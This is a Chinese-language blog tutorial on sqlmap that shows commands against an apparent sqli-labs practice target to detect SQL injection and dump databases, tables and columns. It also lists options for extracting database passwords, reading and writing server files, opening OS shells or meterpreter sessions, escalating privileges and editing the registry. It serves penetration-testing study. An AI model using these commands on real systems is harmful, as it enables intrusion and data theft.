sqlmap简介
sqlmap是自动化SQL注入工具,利用SQL注入漏洞获取数据库服务的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
sqlmap支持五种不同的注入模式:
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
- 联合查询注入,可以使用union的情况下的注入
- 堆查询注入,可以同时执行多条语句的执行时的注入
sqlmap自动检测漏洞
sqlmap -u 127.0.0.1:8082/Less-6/?id=1 --batch
成功测试出SQL注入漏洞
获取数据
列出数据库信息
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch --dbs
获取数据库中的表
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch -D 数据库名 --tables
获取表的所有列
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch -D 数据库名 -T 表名 --columns
获取相应列的内容
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch -D 数据库名 -T 表名 -C 列名,列名 --dump
其他数据库相关操作
web当前使用的数据库:--current-db
web数据库使用账户:--current-user
列出sqlserver所有用户:--users
数据库账户与密码:--passwords
导出多少条数据:--start 开始 --stop 结束
枚举数据库架构:--schema
枚举数据库管理系统用户的角色:--roles
其他常用参数
显示信息级别:-v 级别
“0”只显示python错误以及严重的信息
“1”同时显示基本信息和警告信息(默认)
“2”同时显示debug信息
“3”同时显示注入的payload
“4”同时显示HTTP请求
“5”同时显示HTTP响应头
“6”同时显示HTTP响应页面
目标:
-d DIRECT 直接连接数据库的连接字符串
-u URL, --url=URL 目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url
-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标
-x SITEMAPURL 从远程网站地图(sitemap.xml)文件来解析目标
-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443
--tamper=TAMPER 使用给定的脚本篡改注入数据
请求:
--data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数
--cookie=COOKIE HTTP Cookieheader值
--tor 使用Tor匿名网络
优化:
-o 打开所有的优化开关
--predict-output 预测普通查询输出
--keep-alive 使用持久HTTP(S)连接
--null-connection 获取页面长度
--threads=THREADS 当前http(s)最大请求数 (默认 1)
检测:
--level=LEVEL 执行测试的等级(1-5,默认为1)
--risk=RISK 执行测试的风险(0-3,默认为1)
访问文件系统
这些选项可以被用来访问后端数据库管理系统的底层文件系统
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
访问操作系统
这些选项可以用于访问后端数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令(OSCMD)
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH MetasploitFramework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问
这些选项可以被用来访问后端数据库管理系统Windows注册表
--reg-read 读一个Windows注册表项值
--reg-add 写一个Windows注册表项值数据
--reg-del 删除Windows注册表键值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表项值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表项值类型
Comments 1 条评论
博主 玉明
:dinosaur-agree: